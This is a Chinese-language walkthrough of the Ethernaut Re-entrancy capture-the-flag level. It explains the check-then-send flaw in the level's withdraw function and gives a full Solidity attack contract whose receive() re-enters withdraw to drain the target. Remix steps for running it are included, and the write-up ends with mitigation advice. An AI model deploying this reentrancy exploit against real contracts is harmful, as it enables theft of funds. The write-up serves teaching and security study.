DataPool inc.

(https://ethernaut.openzeppelin.com/level/0xe6BA07257a9321e755184FB2F995e0600E78c16D)

這一關的目標是: 從contract 中轉走所有的balance。

看合約的程式，包含了一個donate(捐錢給合約，捐多少錢會記在balances)，balanceOf(查看balances上記著多少)，及一個withdraw(提錢走，但程式中有一個條件，balances中記著的錢要大於提走的錢)

function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

要過這一關，主要是利用了程式執行先後順序的漏洞，因為判斷是balances[msg.sender] >= _amount，若有大於就可以進行提款，提款是呼叫其他合約的recevie or fallback程式，執行完後再進行balances[msg.sender] -= _amount，下次要進行提款時，就會再一次的判斷balances[msg.sender] >= _amount。避免剩餘的balances小於提款的數量的情況(也就是避免提出超過donate的錢)。但是如果我們在呼叫其他合約的receive程式裡再呼叫此合約的提款，則此時尚未進行-= _amount的動作，所以程式就會一直以為達成balances[msg.sender] >= _amount的條件。進而把錢提到光為止!。進行起來如下圖:

所以，我們可以在Remix寫一隻惡意合約來達成上述的目的:

contract Hack_Reentrancy{

    address target_address;
    uint donate_amount= 1000000000000000;

    constructor(address _target) payable {
        target_address = _target;
    }

    function init_attack() public payable {
        (bool success_donate,)=target_address.call{value: msg.value}(abi.encodeWithSignature("donate(address)", address(this)));
        require(success_donate,"failed to donate");
        
    }

    function init_withdraw() public{
        target_address.call(abi.encodeWithSignature("withdraw(uint256)", donate_amount));
    }



    receive() external payable{
        uint targetBalance= target_address.balance;
        if( targetBalance >= donate_amount){
    target_address.call(abi.encodeWithSignature("withdraw(uint256)",donate_amount));
        }
    }
}

所以先呼叫init_attach進行donate (使用Remix時記得輸入Value值，例如0.001 Ether)，此時可以回Ethernaut的console輸入await contract.balanceOf(instance)，會發現此時的值從原本的0.001Ether變成0.002Ether，然後可呼叫init_withdraw()，來進行提款，提第一次款時，原Reenterance contract匯款時會引發recevie()中的recursive匯款，直到清空contract，這邊需要特別提醒的是，可能會需要手動調整metamask錢包的gas limit，若沒有調整可能會出現out of gas而導致transaction沒有進行(但還是會收走gas-fee!)，執行完後，可以用await contract.balanceOf(instance)查看是否已經清零。另外，在我們自己寫的contract中也可以寫一支function於最後將此合約的剩餘balance轉回自己的錢包 ( payable(msg.sender).transfer(address(this).balance))。

*takeaway:

• Solidity的程式執行順序可能會影響，因此要特別注意。
• 有類似這題情況的交易時，可以考慮用Mutex鎖來確保交易的原子性，亦即要執行withdraw時檢查鎖在unlock狀態下才執行，執行第一步先lock，最後執行完成後unlock。
• 這樣的攻擊手法引發的改變以太坊進程的歷史大事件，THE DAO Hack，找機會我們來講講這個故事。